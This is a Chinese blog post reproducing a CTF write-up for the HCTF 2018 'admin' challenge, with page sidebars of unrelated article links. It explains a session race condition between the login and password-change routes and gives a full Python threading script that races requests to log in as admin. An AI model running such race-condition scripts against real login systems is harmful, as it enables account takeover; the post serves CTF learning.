附上网上师傅的wp  学习链接:

https://www.jianshu.com/p/f92311564ad0

按照师傅的wp复现一下:

源代码审计,去看路由里的login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值。

一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index

import requests
import threading def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data) def logout(s):
return s.get("http://admin.2018.hctf.io/logout") def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data) def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec') def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish') def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start() if __name__ == "__main__":
main()

脚本来自:https://github.com/Whitzard

最新文章

  1. Spring拦截机制之后端国际化心得
  2. 【转载】Linux常用命令列表
  3. [2012山东ACM省赛] Pick apples (贪心,完全背包,枚举)
  4. 揭开NodeJS的神秘面纱!
  5. C++字符串分割
  6. LCS算法
  7. static在C和C++中的用法和区别
  8. AspNetPager分页实际应用
  9. HTML5 开发APP(MUI的一些特性)
  10. 第四届 CCCC 团体程序设计天梯赛 游记
  11. ubuntu终端
  12. mybatis之一对多
  13. NET 使用 RabbitMQ
  14. 【转】Docker部署Tomcat及Web应用
  15. ASP.NET常见异常处理示例
  16. Angular 简单的Get
  17. Linux 下 FastDFS v5.08 分布式文件系统的安装
  18. [HNOI 2018]寻宝游戏
  19. uptime命令详解
  20. Fiddler4无法抓取HttpWebRequest本地请求的解决办法

热门文章

  1. Java基础之五、Java编程思想(1-7)
  2. SDI011 读卡器发送非APDU指令
  3. day17 二分查找
  4. hydra-爆破工具的使用
  5. 指数ETF基金的组合分析方法初探
  6. 解决jQuery中input 失去焦点之后,不能再获取到焦点
  7. SpringBoot整合NoSql--(二)MongoDB
  8. js遇到代码出现问题时如何调试代码
  9. 安装ubuntu到移动硬盘(UEFI+GPT),实现在别的电脑也可以使用(详细教程)
  10. 第7章.字符串、String类和StringBuilder类